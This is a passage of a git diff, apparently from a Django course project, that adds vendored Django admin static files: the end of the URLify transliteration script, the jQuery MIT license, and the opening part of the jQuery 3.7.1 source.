'sh', 'щ': 'sh', 'ъ': '', + 'ы': 'y', 'ь': '', 'э': 'e', 'ю': 'yu', 'я': 'ya', + 'А': 'A', 'Б': 'B', 'В': 'V', 'Г': 'G', 'Д': 'D', 'Е': 'E', 'Ё': 'Yo', + 'Ж': 'Zh', 'З': 'Z', 'И': 'I', 'Й': 'J', 'К': 'K', 'Л': 'L', 'М': 'M', + 'Н': 'N', 'О': 'O', 'П': 'P', 'Р': 'R', 'С': 'S', 'Т': 'T', 'У': 'U', + 'Ф': 'F', 'Х': 'H', 'Ц': 'C', 'Ч': 'Ch', 'Ш': 'Sh', 'Щ': 'Sh', 'Ъ': '', + 'Ы': 'Y', 'Ь': '', 'Э': 'E', 'Ю': 'Yu', 'Я': 'Ya' + }; + const UKRAINIAN_MAP = { + 'Є': 'Ye', 'І': 'I', 'Ї': 'Yi', 'Ґ': 'G', 'є': 'ye', 'і': 'i', + 'ї': 'yi', 'ґ': 'g' + }; + const CZECH_MAP = { + 'č': 'c', 'ď': 'd', 'ě': 'e', 'ň': 'n', 'ř': 'r', 'š': 's', 'ť': 't', + 'ů': 'u', 'ž': 'z', 'Č': 'C', 'Ď': 'D', 'Ě': 'E', 'Ň': 'N', 'Ř': 'R', + 'Š': 'S', 'Ť': 'T', 'Ů': 'U', 'Ž': 'Z' + }; + const SLOVAK_MAP = { + 'á': 'a', 'ä': 'a', 'č': 'c', 'ď': 'd', 'é': 'e', 'í': 'i', 'ľ': 'l', + 'ĺ': 'l', 'ň': 'n', 'ó': 'o', 'ô': 'o', 'ŕ': 'r', 'š': 's', 'ť': 't', + 'ú': 'u', 'ý': 'y', 'ž': 'z', + 'Á': 'a', 'Ä': 'A', 'Č': 'C', 'Ď': 'D', 'É': 'E', 'Í': 'I', 'Ľ': 'L', + 'Ĺ': 'L', 'Ň': 'N', 'Ó': 'O', 'Ô': 'O', 'Ŕ': 'R', 'Š': 'S', 'Ť': 'T', + 'Ú': 'U', 'Ý': 'Y', 'Ž': 'Z' + }; + const POLISH_MAP = { + 'ą': 'a', 'ć': 'c', 'ę': 'e', 'ł': 'l', 'ń': 'n', 'ó': 'o', 'ś': 's', + 'ź': 'z', 'ż': 'z', + 'Ą': 'A', 'Ć': 'C', 'Ę': 'E', 'Ł': 'L', 'Ń': 'N', 'Ó': 'O', 'Ś': 'S', + 'Ź': 'Z', 'Ż': 'Z' + }; + const LATVIAN_MAP = { + 'ā': 'a', 'č': 'c', 'ē': 'e', 'ģ': 'g', 'ī': 'i', 'ķ': 'k', 'ļ': 'l', + 'ņ': 'n', 'š': 's', 'ū': 'u', 'ž': 'z', + 'Ā': 'A', 'Č': 'C', 'Ē': 'E', 'Ģ': 'G', 'Ī': 'I', 'Ķ': 'K', 'Ļ': 'L', + 'Ņ': 'N', 'Š': 'S', 'Ū': 'U', 'Ž': 'Z' + }; + const ARABIC_MAP = { + 'أ': 'a', 'ب': 'b', 'ت': 't', 'ث': 'th', 'ج': 'g', 'ح': 'h', 'خ': 'kh', 'د': 'd', + 'ذ': 'th', 'ر': 'r', 'ز': 'z', 'س': 's', 'ش': 'sh', 'ص': 's', 'ض': 'd', 'ط': 't', + 'ظ': 'th', 'ع': 'aa', 'غ': 'gh', 'ف': 'f', 'ق': 'k', 'ك': 'k', 'ل': 'l', 'م': 'm', + 'ن': 'n', 'ه': 'h', 'و': 'o', 'ي': 'y' + }; + const LITHUANIAN_MAP = { + 'ą': 'a', 'č': 'c', 'ę': 'e', 'ė': 'e', 'į': 'i', 'š': 's', 'ų': 'u', + 'ū': 'u', 'ž': 'z', + 'Ą': 'A', 'Č': 'C', 'Ę': 'E', 'Ė': 'E', 'Į': 'I', 'Š': 'S', 'Ų': 'U', + 'Ū': 'U', 'Ž': 'Z' + }; + const SERBIAN_MAP = { + 'ђ': 'dj', 'ј': 'j', 'љ': 'lj', 'њ': 'nj', 'ћ': 'c', 'џ': 'dz', + 'đ': 'dj', 'Ђ': 'Dj', 'Ј': 'j', 'Љ': 'Lj', 'Њ': 'Nj', 'Ћ': 'C', + 'Џ': 'Dz', 'Đ': 'Dj' + }; + const AZERBAIJANI_MAP = { + 'ç': 'c', 'ə': 'e', 'ğ': 'g', 'ı': 'i', 'ö': 'o', 'ş': 's', 'ü': 'u', + 'Ç': 'C', 'Ə': 'E', 'Ğ': 'G', 'İ': 'I', 'Ö': 'O', 'Ş': 'S', 'Ü': 'U' + }; + const GEORGIAN_MAP = { + 'ა': 'a', 'ბ': 'b', 'გ': 'g', 'დ': 'd', 'ე': 'e', 'ვ': 'v', 'ზ': 'z', + 'თ': 't', 'ი': 'i', 'კ': 'k', 'ლ': 'l', 'მ': 'm', 'ნ': 'n', 'ო': 'o', + 'პ': 'p', 'ჟ': 'j', 'რ': 'r', 'ს': 's', 'ტ': 't', 'უ': 'u', 'ფ': 'f', + 'ქ': 'q', 'ღ': 'g', 'ყ': 'y', 'შ': 'sh', 'ჩ': 'ch', 'ც': 'c', 'ძ': 'dz', + 'წ': 'w', 'ჭ': 'ch', 'ხ': 'x', 'ჯ': 'j', 'ჰ': 'h' + }; + + const ALL_DOWNCODE_MAPS = [ + LATIN_MAP, + LATIN_SYMBOLS_MAP, + GREEK_MAP, + TURKISH_MAP, + ROMANIAN_MAP, + RUSSIAN_MAP, + UKRAINIAN_MAP, + CZECH_MAP, + SLOVAK_MAP, + POLISH_MAP, + LATVIAN_MAP, + ARABIC_MAP, + LITHUANIAN_MAP, + SERBIAN_MAP, + AZERBAIJANI_MAP, + GEORGIAN_MAP + ]; + + const Downcoder = { + 'Initialize': function() { + if (Downcoder.map) { // already made + return; + } + Downcoder.map = {}; + for (const lookup of ALL_DOWNCODE_MAPS) { + Object.assign(Downcoder.map, lookup); + } + Downcoder.regex = new RegExp(Object.keys(Downcoder.map).join('|'), 'g'); + } + }; + + function downcode(slug) { + Downcoder.Initialize(); + return slug.replace(Downcoder.regex, function(m) { + return Downcoder.map[m]; + }); + } + + + function URLify(s, num_chars, allowUnicode) { + // changes, e.g., "Petty theft" to "petty-theft" + if (!allowUnicode) { + s = downcode(s); + } + s = s.toLowerCase(); // convert to lowercase + // if downcode doesn't hit, the char will be stripped here + if (allowUnicode) { + // Keep Unicode letters including both lowercase and uppercase + // characters, whitespace, and dash; remove other characters. + s = XRegExp.replace(s, XRegExp('[^-_\\p{L}\\p{N}\\s]', 'g'), ''); + } else { + s = s.replace(/[^-\w\s]/g, ''); // remove unneeded chars + } + s = s.replace(/^\s+|\s+$/g, ''); // trim leading/trailing spaces + s = s.replace(/[-\s]+/g, '-'); // convert spaces to hyphens + s = s.substring(0, num_chars); // trim to first num_chars chars + return s.replace(/-+$/g, ''); // trim any trailing hyphens + } + window.URLify = URLify; +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/vendor/jquery/LICENSE.txt b/Semaine_11/Jour_04/staticfiles/admin/js/vendor/jquery/LICENSE.txt new file mode 100644 index 0000000..f642c3f --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/vendor/jquery/LICENSE.txt @@ -0,0 +1,20 @@ +Copyright OpenJS Foundation and other contributors, https://openjsf.org/ + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/vendor/jquery/jquery.js b/Semaine_11/Jour_04/staticfiles/admin/js/vendor/jquery/jquery.js new file mode 100644 index 0000000..1a86433 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/vendor/jquery/jquery.js @@ -0,0 +1,10716 @@ +/*! + * jQuery JavaScript Library v3.7.1 + * https://jquery.com/ + * + * Copyright OpenJS Foundation and other contributors + * Released under the MIT license + * https://jquery.org/license + * + * Date: 2023-08-28T13:37Z + */ +( function( global, factory ) { + + "use strict"; + + if ( typeof module === "object" && typeof module.exports === "object" ) { + + // For CommonJS and CommonJS-like environments where a proper `window` + // is present, execute the factory and get jQuery. + // For environments that do not have a `window` with a `document` + // (such as Node.js), expose a factory as module.exports. + // This accentuates the need for the creation of a real `window`. + // e.g. var jQuery = require("jquery")(window); + // See ticket trac-14549 for more info. + module.exports = global.document ? + factory( global, true ) : + function( w ) { + if ( !w.document ) { + throw new Error( "jQuery requires a window with a document" ); + } + return factory( w ); + }; + } else { + factory( global ); + } + +// Pass this if window is not defined yet +} )( typeof window !== "undefined" ? window : this, function( window, noGlobal ) { + +// Edge <= 12 - 13+, Firefox <=18 - 45+, IE 10 - 11, Safari 5.1 - 9+, iOS 6 - 9.1 +// throw exceptions when non-strict code (e.g., ASP.NET 4.5) accesses strict mode +// arguments.callee.caller (trac-13335). But as of jQuery 3.0 (2016), strict mode should be common +// enough that all such attempts are guarded in a try block. +"use strict"; + +var arr = []; + +var getProto = Object.getPrototypeOf; + +var slice = arr.slice; + +var flat = arr.flat ? function( array ) { + return arr.flat.call( array ); +} : function( array ) { + return arr.concat.apply( [], array ); +}; + + +var push = arr.push; + +var indexOf = arr.indexOf; + +var class2type = {}; + +var toString = class2type.toString; + +var hasOwn = class2type.hasOwnProperty; + +var fnToString = hasOwn.toString; + +var ObjectFunctionString = fnToString.call( Object ); + +var support = {}; + +var isFunction = function isFunction( obj ) { + + // Support: Chrome <=57, Firefox <=52 + // In some browsers, typeof returns "function" for HTML elements + // (i.e., `typeof document.createElement( "object" ) === "function"`). + // We don't want to classify *any* DOM node as a function. + // Support: QtWeb <=3.8.5, WebKit <=534.34, wkhtmltopdf tool <=0.12.5 + // Plus for old WebKit, typeof returns "function" for HTML collections + // (e.g., `typeof document.getElementsByTagName("div") === "function"`). (gh-4756) + return typeof obj === "function" && typeof obj.nodeType !== "number" && + typeof obj.item !== "function"; + }; + + +var isWindow = function isWindow( obj ) { + return obj != null && obj === obj.window; + }; + + +var document = window.document; + + + + var preservedScriptAttributes = { + type: true, + src: true, + nonce: true, + noModule: true + }; + + function DOMEval( code, node, doc ) { + doc = doc || document; + + var i, val, + script = doc.createElement( "script" ); + + script.text = code; + if ( node ) { + for ( i in preservedScriptAttributes ) { + + // Support: Firefox 64+, Edge 18+ + // Some browsers don't support the "nonce" property on scripts. + // On the other hand, just using `getAttribute` is not enough as + // the `nonce` attribute is reset to an empty string whenever it + // becomes browsing-context connected. + // See https://github.com/whatwg/html/issues/2369 + // See https://html.spec.whatwg.org/#nonce-attributes + // The `node.getAttribute` check was added for the sake of + // `jQuery.globalEval` so that it can fake a nonce-containing node + // via an object. + val = node[ i ] || node.getAttribute && node.getAttribute( i ); + if ( val ) { + script.setAttribute( i, val ); + } + } + } + doc.head.appendChild( script ).parentNode.removeChild( script ); + } + + +function toType( obj ) { + if ( obj == null ) { + return obj + ""; + } + + // Support: Android <=2.3 only (functionish RegExp) + return typeof obj === "object" || typeof obj === "function" ? + class2type[ toString.call( obj ) ] || "object" : + typeof obj; +} +/* global Symbol */ +// Defining this global in .eslintrc.json would create a danger of using the global +// unguarded in another place, it seems safer to define global only for this module + + + +var version = "3.7.1", + + rhtmlSuffix = /HTML$/i, + + // Define a local copy of jQuery + jQuery = function( selector, context ) { + + // The jQuery object is actually just the init constructor 'enhanced' + // Need init if jQuery is called (just allow error to be thrown if not included) + return new jQuery.fn.init( selector, context ); + }; + +jQuery.fn = jQuery.prototype = { + + // The current version of jQuery being used + jquery: version, + + constructor: jQuery, + + // The default length of a jQuery object is 0 + length: 0, + + toArray: function() { + return slice.call( this ); + }, + + // Get the Nth element in the matched element set OR + // Get the whole matched element set as a clean array + get: function( num ) { + + // Return all the elements in a clean array + if ( num == null ) { + return slice.call( this ); + } + + // Return just the one element from the set + return num < 0 ? this[ num + this.length ] : this[ num ]; + }, + + // Take an array of elements and push it onto the stack + // (returning the new matched element set) + pushStack: function( elems ) { + + // Build a new jQuery matched element set + var ret = jQuery.merge( this.constructor(), elems ); + + // Add the old object onto the stack (as a reference) + ret.prevObject = this; + + // Return the newly-formed element set + return ret; + }, + + // Execute a callback for every element in the matched set. + each: function( callback ) { + return jQuery.each( this, callback ); + }, + + map: function( callback ) { + return this.pushStack( jQuery.map( this, function( elem, i ) { + return callback.call( elem, i, elem ); + } ) ); + }, + + slice: function() { + return this.pushStack( slice.apply( this, arguments ) ); + }, + + first: function() { + return this.eq( 0 ); + }, + + last: function() { + return this.eq( -1 ); + }, + + even: function() { + return this.pushStack( jQuery.grep( this, function( _elem, i ) { + return ( i + 1 ) % 2; + } ) ); + }, + + odd: function() { + return this.pushStack( jQuery.grep( this, function( _elem, i ) { + return i % 2; + } ) ); + }, + + eq: function( i ) { + var len = this.length, + j = +i + ( i < 0 ? len : 0 ); + return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] ); + }, + + end: function() { + return this.prevObject || this.constructor(); + }, + + // For internal use only. + // Behaves like an Array's method, not like a jQuery method. + push: push, + sort: arr.sort, + splice: arr.splice +}; + +jQuery.extend = jQuery.fn.extend = function() { + var options, name, src, copy, copyIsArray, clone, + target = arguments[ 0 ] || {}, + i = 1, + length = arguments.length, + deep = false; + + // Handle a deep copy situation + if ( typeof target === "boolean" ) { + deep = target; + + // Skip the boolean and the target + target = arguments[ i ] || {}; + i++; + } + + // Handle case when target is a string or something (possible in deep copy) + if ( typeof target !== "object" && !isFunction( target ) ) { + target = {}; + } + + // Extend jQuery itself if only one argument is passed + if ( i === length ) { + target = this; + i--; + } + + for ( ; i < length; i++ ) { + + // Only deal with non-null/undefined values + if ( ( options = arguments[ i ] ) != null ) { + + // Extend the base object + for ( name in options ) { + copy = options[ name ]; + + // Prevent Object.prototype pollution + // Prevent never-ending loop + if ( name === "__proto__" || target === copy ) { + continue; + } + + // Recurse if we're merging plain objects or arrays + if ( deep && copy && ( jQuery.isPlainObject( copy ) || + ( copyIsArray = Array.isArray( copy ) ) ) ) { + src = target[ name ]; + + // Ensure proper type for the source value + if ( copyIsArray && !Array.isArray( src ) ) { + clone = []; + } else if ( !copyIsArray && !jQuery.isPlainObject( src ) ) { + clone = {}; + } else { + clone = src; + } + copyIsArray = false; + + // Never move original objects, clone them + target[ name ] = jQuery.extend( deep, clone, copy ); + + // Don't bring in undefined values + } else if ( copy !== undefined ) { + target[ name ] = copy; + } + } + } + } + + // Return the modified object + return target; +}; + +jQuery.extend( { + + // Unique for each copy of jQuery on the page + expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ), + + // Assume jQuery is ready without the ready module + isReady: true, + + error: function( msg ) { + throw new Error( msg ); + }, + + noop: function() {}, + + isPlainObject: function( obj ) { + var proto, Ctor; + + // Detect obvious negatives + // Use toString instead of jQuery.type to catch host objects + if ( !obj || toString.call( obj ) !== "[object Object]" ) { + return false; + } + + proto = getProto( obj ); + + // Objects with no prototype (e.g., `Object.create( null )`) are plain + if ( !proto ) { + return true; + } + + // Objects with prototype are plain iff they were constructed by a global Object function + Ctor = hasOwn.call( proto, "constructor" ) && proto.constructor; + return typeof Ctor === "function" && fnToString.call( Ctor ) === ObjectFunctionString; + }, + + isEmptyObject: function( obj ) { + var name; + + for ( name in obj ) { + return false; + } + return true; + }, + + // Evaluates a script in a provided context; falls back to the global one + // if not specified. + globalEval: function( code, options, doc ) { + DOMEval( code, { nonce: options && options.nonce }, doc ); + }, + + each: function( obj, callback ) { + var length, i = 0; + + if ( isArrayLike( obj ) ) { + length = obj.length; + for ( ; i < length; i++ ) { + if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { + break; + } + } + } else { + for ( i in obj ) { + if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { + break; + } + } + } + + return obj; + }, + + + // Retrieve the text value of an array of DOM nodes + text: function( elem ) { + var node, + ret = "", + i = 0, + nodeType = elem.nodeType; + + if ( !nodeType ) { + + // If no nodeType, this is expected to be an array + while ( ( node = elem[ i++ ] ) ) { + + // Do not traverse comment nodes + ret += jQuery.text( node ); + } + } + if ( nodeType === 1 || nodeType === 11 ) { + return elem.textContent; + } + if ( nodeType === 9 ) { + return elem.documentElement.textContent; + } + if ( nodeType === 3 || nodeType === 4 ) { + return elem.nodeValue; + } + + // Do not include comment or processing instruction nodes + + return ret; + }, + + // results is for internal usage only + makeArray: function( arr, results ) { + var ret = results || []; + + if ( arr != null ) { + if ( isArrayLike( Object( arr ) ) ) { + jQuery.merge( ret, + typeof arr === "string" ? + [ arr ] : arr + ); + } else { + push.call( ret, arr ); + } + } + + return ret; + }, + + inArray: function( elem, arr, i ) { + return arr == null ? -1 : indexOf.call( arr, elem, i ); + }, + + isXMLDoc: function( elem ) { + var namespace = elem && elem.namespaceURI, + docElem = elem && ( elem.ownerDocument || elem ).documentElement; + + // Assume HTML when documentElement doesn't yet exist, such as inside + // document fragments. + return !rhtmlSuffix.test( namespace || docElem && docElem.nodeName || "HTML" ); + }, + + // Support: Android <=4.0 only, PhantomJS 1 only + // push.apply(_, arraylike) throws on ancient WebKit + merge: function( first, second ) { + var len = +second.length, + j = 0, + i = first.length; + + for ( ; j < len; j++ ) { + first[ i++ ] = second[ j ]; + } + + first.length = i; + + return first; + }, + + grep: function( elems, callback, invert ) { + var callbackInverse, + matches = [], + i = 0, + length = elems.length, + callbackExpect = !invert; + + // Go through the array, only saving the items + // that pass the validator function + for ( ; i < length; i++ ) { + callbackInverse = !callback( elems[ i ], i ); + if ( callbackInverse !== callbackExpect ) { + matches.push( elems[ i ] ); + } + } + + return matches; + }, + + // arg is for internal usage only + map: function( elems, callback, arg ) { + var length, value, + i = 0, + ret = []; + + // Go through the array, translating each of the items to their new values + if ( isArrayLike( elems ) ) { + length = elems.length; + for ( ; i < length; i++ ) { + value = callback( elems[ i ], i, arg ); + + if ( value != null ) { + ret.push( value ); + } + } + + // Go through every key on the object, + } else { + for ( i in elems ) { + value = callback( elems[ i ], i, arg ); + + if ( value != null ) { + ret.push( value ); + } + } + } + + // Flatten any nested arrays + return flat( ret ); + }, + + // A global GUID counter for objects + guid: 1, + + // jQuery.support is not used in Core but other projects attach their + // properties to it so it needs to exist. + support: support +} ); + +if ( typeof Symbol === "function" ) { + jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ]; +} + +// Populate the class2type map +jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ), + function( _i, name ) { + class2type[ "[object " + name + "]" ] = name.toLowerCase(); + } ); + +function isArrayLike( obj ) { + + // Support: real iOS 8.2 only (not reproducible in simulator) + // `in` check used to prevent JIT error (gh-2145) + // hasOwn isn't used here due to false negatives + // regarding Nodelist length in IE + var length = !!obj && "length" in obj && obj.length, + type = toType( obj ); + + if ( isFunction( obj ) || isWindow( obj ) ) { + return false; + } + + return type === "array" || length === 0 || + typeof length === "number" && length > 0 && ( length - 1 ) in obj; +} + + +function nodeName( elem, name ) { + + return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); + +} +var pop = arr.pop; + + +var sort = arr.sort; + + +var splice = arr.splice; + + +var whitespace = "[\\x20\\t\\r\\n\\f]"; + + +var rtrimCSS = new RegExp( + "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", + "g" +); + + + + +// Note: an element does not contain itself +jQuery.contains = function( a, b ) { + var bup = b && b.parentNode; + + return a === bup || !!( bup && bup.nodeType === 1 && ( + + // Support: IE 9 - 11+ + // IE doesn't have `contains` on SVG. + a.contains ? + a.contains( bup ) : + a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16 + ) ); +}; + + + + +// CSS string/identifier serialization +// https://drafts.csswg.org/cssom/#common-serializing-idioms +var rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g; + +function fcssescape( ch, asCodePoint ) { + if ( asCodePoint ) { + + // U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER + if ( ch === "\0" ) { + return "\uFFFD"; + } + + // Control characters and (dependent upon position) numbers get escaped as code points + return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " "; + } + + // Other potentially-special ASCII characters get backslash-escaped + return "\\" + ch; +} + +jQuery.escapeSelector = function( sel ) { + return ( sel + "" ).replace( rcssescape, fcssescape ); +}; + + + + +var preferredDoc = document, + pushNative = push; + +( function() { + +var i, + Expr, + outermostContext, + sortInput, + hasDuplicate, + push = pushNative, + + // Local document vars + document, + documentElement, + documentIsHTML, + rbuggyQSA, + matches, + + // Instance-specific data + expando = jQuery.expando, + dirruns = 0, + done = 0, + classCache = createCache(), + tokenCache = createCache(), + compilerCache = createCache(), + nonnativeSelectorCache = createCache(), + sortOrder = function( a, b ) { + if ( a === b ) { + hasDuplicate = true; + } + return 0; + }, + + booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|" + + "loop|multiple|open|readonly|required|scoped", + + // Regular expressions + + // https://www.w3.org/TR/css-syntax-3/#ident-token-diagram + identifier = "(?:\\\\[\\da-fA-F]{1,6}" + whitespace + + "?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+", + + // Attribute selectors: https://www.w3.org/TR/selectors/#attribute-selectors + attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace + + + // Operator (capture 2) + "*([*^$|!~]?=)" + whitespace + + + // "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]" + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + + whitespace + "*\\]", + + pseudos = ":(" + identifier + ")(?:\\((" + + + // To reduce the number of selectors needing tokenize in the preFilter, prefer arguments: + // 1. quoted (capture 3; capture 4 or capture 5) + "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + + + // 2. simple (capture 6) + "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + + + // 3. anything else (capture 2) + ".*" + + ")\\)|)", + + // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter + rwhitespace = new RegExp( whitespace + "+", "g" ), + + rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ), + rleadingCombinator = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + + whitespace + "*" ), + rdescend = new RegExp( whitespace + "|>" ), + + rpseudo = new RegExp( pseudos ), + ridentifier = new RegExp( "^" + identifier + "$" ), + + matchExpr = { + ID: new RegExp( "^#(" + identifier + ")" ), + CLASS: new RegExp( "^\\.(" + identifier + ")" ), + TAG: new RegExp( "^(" + identifier + "|[*])" ), + ATTR: new RegExp( "^" + attributes ), + PSEUDO: new RegExp( "^" + pseudos ), + CHILD: new RegExp( + "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i" ), + bool: new RegExp( "^(?:" + booleans + ")$", "i" ), + + // For use in libraries implementing .is() + // We use this for POS matching in `select` + needsContext: new RegExp( "^" + whitespace + + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" ) + }, + + rinputs = /^(?:input|select|textarea|button)$/i, + rheader = /^h\d$/i, + + // Easily-parseable/retrievable ID or TAG or CLASS selectors + rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, + + rsibling = /[+~]/, + + // CSS escapes + // https://www.w3.org/TR/CSS21/syndata.html#escaped-characters + runescape = new RegExp( "\\\\[\\da-fA-F]{1,6}" + whitespace + + "?|\\\\([^\\r\\n\\f])", "g" ), + funescape = function( escape, nonHex ) { + var high = "0x" + escape.slice( 1 ) - 0x10000; + + if ( nonHex ) { + + // Strip the backslash prefix from a non-hex escape sequence + return nonHex; + } + + // Replace a hexadecimal escape sequence with the encoded Unicode code point + // Support: IE <=11+ + // For values outside the Basic Multilingual Plane (BMP), manually construct a + // surrogate pair + return high < 0 ? + String.fromCharCode( high + 0x10000 ) : + String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 ); + }, + + // Used for iframes; see `setDocument`. + // Support: IE 9 - 11+, Edge 12 - 18+ + // Removing the function wrapper causes a "Permission Denied" + // error in IE/Edge. + unloadHandler = function() { + setDocument(); + }, + + inDisabledFieldset = addCombinator( + function( elem ) { + return elem.disabled === true && nodeName( elem, "fieldset" ); + }, + { dir: "parentNode", next: "legend" } + ); + +// Support: IE <=9 only +// Accessing document.activeElement can throw unexpectedly +// https://bugs.jquery.com/ticket/13393 +function safeActiveElement() { + try { + return document.activeElement; + } catch ( err ) { } +} + +// Optimize for push.apply( _, NodeList ) +try { + push.apply( + ( arr = slice.call( preferredDoc.childNodes ) ), + preferredDoc.childNodes + ); + + // Support: Android <=4.0 + // Detect silently failing push.apply + // eslint-disable-next-line no-unused-expressions + arr[ preferredDoc.childNodes.length ].nodeType; +} catch ( e ) { + push = { + apply: function( target, els ) { + pushNative.apply( target, slice.call( els ) ); + }, + call: function( target ) { + pushNative.apply( target, slice.call( arguments, 1 ) ); + } + }; +} + +function find( selector, context, results, seed ) { + var m, i, elem, nid, match, groups, newSelector, + newContext = context && context.ownerDocument, + + // nodeType defaults to 9, since context defaults to document + nodeType = context ? context.nodeType : 9; + + results = results || []; + + // Return early from calls with invalid selector or context + if ( typeof selector !== "string" || !selector || + nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) { + + return results; + } + + // Try to shortcut find operations (as opposed to filters) in HTML documents + if ( !seed ) { + setDocument( context ); + context = context || document; + + if ( documentIsHTML ) { + + // If the selector is sufficiently simple, try using a "get*By*" DOM method + // (excepting DocumentFragment context, where the methods don't exist) + if ( nodeType !== 11 && ( match = rquickExpr.exec( selector ) ) ) { + + // ID selector + if ( ( m = match[ 1 ] ) ) { + + // Document context + if ( nodeType === 9 ) { + if ( ( elem = context.getElementById( m ) ) ) { + + // Support: IE 9 only + // getElementById can match elements by name instead of ID + if ( elem.id === m ) { + push.call( results, elem ); + return results; + } + } else { + return results; + } + + // Element context + } else { + + // Support: IE 9 only + // getElementById can match elements by name instead of ID + if ( newContext && ( elem = newContext.getElementById( m ) ) && + find.contains( context, elem ) && + elem.id === m ) { + + push.call( results, elem ); + return results; + } + } + + // Type selector + } else if ( match[ 2 ] ) { + push.apply( results, context.getElementsByTagName( selector ) ); + return results; + + // Class selector + } else if ( ( m = match[ 3 ] ) && context.getElementsByClassName ) { + push.apply( results, context.getElementsByClassName( m ) ); + return results; + } + } + + // Take advantage of querySelectorAll + if ( !nonnativeSelectorCache[ selector + " " ] && + ( !rbuggyQSA || !rbuggyQSA.test( selector ) ) ) { + + newSelector = selector; + newContext = context; + + // qSA considers elements outside a scoping root when evaluating child or + // descendant combinators, which is not what we want. + // In such cases, we work around the behavior by prefixing every selector in the + // list with an ID selector referencing the scope context. + // The technique has to be used as well when a leading combinator is used + // as such selectors are not recognized by querySelectorAll. + // Thanks to Andrew Dupont for this technique. + if ( nodeType === 1 && + ( rdescend.test( selector ) || rleadingCombinator.test( selector ) ) ) { + + // Expand context for sibling selectors + newContext = rsibling.test( selector ) && testContext( context.parentNode ) || + context; + + // We can use :scope instead of the ID hack if the browser + // supports it & if we're not changing the context. + // Support: IE 11+, Edge 17 - 18+ + // IE/Edge sometimes throw a "Permission denied" error when + // strict-comparing two documents; shallow comparisons work. + // eslint-disable-next-line eqeqeq + if ( newContext != context || !support.scope ) { + + // Capture the context ID, setting it first if necessary + if ( ( nid = context.getAttribute( "id" ) ) ) { + nid = jQuery.escapeSelector( nid ); + } else { + context.setAttribute( "id", ( nid = expando ) ); + } + } + + // Prefix every selector in the list + groups = tokenize( selector ); + i = groups.length; + while ( i-- ) { + groups[ i ] = ( nid ? "#" + nid : ":scope" ) + " " + + toSelector( groups[ i ] ); + } + newSelector = groups.join( "," ); + } + + try { + push.apply( results, + newContext.querySelectorAll( newSelector ) + ); + return results; + } catch ( qsaError ) { + nonnativeSelectorCache( selector, true ); + } finally { + if ( nid === expando ) { + context.removeAttribute( "id" ); + } + } + } + } + } + + // All others + return select( selector.replace( rtrimCSS, "$1" ), context, results, seed ); +} + +/** + * Create key-value caches of limited size + * @returns {function(string, object)} Returns the Object data after storing it on itself with + * property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength) + * deleting the oldest entry + */ +function createCache() { + var keys = []; + + function cache( key, value ) { + + // Use (key + " ") to avoid collision with native prototype properties + // (see https://github.com/jquery/sizzle/issues/157) + if ( keys.push( key + " " ) > Expr.cacheLength ) { + + // Only keep the most recent entries + delete cache[ keys.shift() ]; + } + return ( cache[ key + " " ] = value ); + } + return cache; +} + +/** + * Mark a function for special use by jQuery selector module + * @param {Function} fn The function to mark + */ +function markFunction( fn ) { + fn[ expando ] = true; + return fn; +} + +/** + * Support testing using an element + * @param {Function} fn Passed the created element and returns a boolean result + */ +function assert( fn ) { + var el = document.createElement( 